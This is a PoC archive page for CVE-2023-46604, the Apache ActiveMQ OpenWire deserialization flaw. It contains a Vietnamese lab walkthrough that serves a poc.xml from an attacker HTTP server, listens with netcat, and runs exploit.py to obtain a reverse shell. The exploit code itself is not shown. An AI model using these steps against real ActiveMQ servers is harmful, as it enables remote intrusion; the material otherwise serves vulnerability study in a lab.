Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1310 CNY

100%

CVE-2023-46604 PoC — Apache ActiveMQ, Apache ActiveMQ Legacy OpenWire Module: Unbounded deserialization causes ActiveMQ to be vulnerable to a

Source
Associated Vulnerability
Title:Apache ActiveMQ, Apache ActiveMQ Legacy OpenWire Module: Unbounded deserialization causes ActiveMQ to be vulnerable to a remote code execution (RCE) attack (CVE-2023-46604)
Description:The Java OpenWire protocol marshaller is vulnerable to Remote Code Execution. This vulnerability may allow a remote attacker with network access to either a Java-based OpenWire broker or client to run arbitrary shell commands by manipulating serialized class types in the OpenWire protocol to cause either the client or the broker (respectively) to instantiate any class on the classpath. Users are recommended to upgrade both brokers and clients to version 5.15.16, 5.16.7, 5.17.6, or 5.18.3 which fixes this issue.
Readme
CVE-2023-46604

![image](https://github.com/user-attachments/assets/03899091-1319-4d60-a561-30293999c19f)

Dựng docker-compose chứa 2 image gồm máy nạn nhân và máy mục tiêu theo môi trường yêu cầu
Trên máy nạn nhân, tiến hành khởi động ActiveMQ
 
 Chuyển sang máy tấn công:
•	Mở dịch vụ HTTP để tiến hành gửi poc:
python3 -m http.server <port>
 
•	Sử dụng netcat để lẳng nghe kết nối đến máy tấn công
nc -nlvp 4444
 
•	Gửi payload tạo kết nối reverse shell tới máy tấn công
python3 exploit.py -i 172.18.0.3 -p 61616 --xml http://172.18.0.2:8000/poc.xml
	Trong đó:
-	Exploit.py: file code khai thác lỗ hổng
-	-I 172.18.0.3: Địa chỉ IP của máy gửi payload
-	-p 61616: Cổng mà ActiveMQ của máy nạn nhân đang lắng nghe
-	--xml http://172.18.0.2:8000/poc.xml: Địa chỉ url của tệp poc.xml trên máy tấn công
 
Có thể thấy, sau khi gọi lệnh thực thi file ‘exploit.py’, mã khai thác sẽ gửi một gói tin ‘poc.xml’ trên web server tới mục tiêu là địa chỉ của dịch vụ ActiveMQ đang chạy trên server mục tiêu. Đồng thời webserver HTTP trên máy tấn công cũng nhận được request được gửi từ địa chỉ ip của máy mục tiêu.
 
Sau khi tiến hành gửi payload, chuyển sang terminal đang lắng nghe tại cổng 4444 của máy tấn công. Ta thấy reverse shell của máy nạn nhân đã được gửi về.
File Snapshot

Log in to view the POC file snapshot cached by Shenlong Bot

Log in to view
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →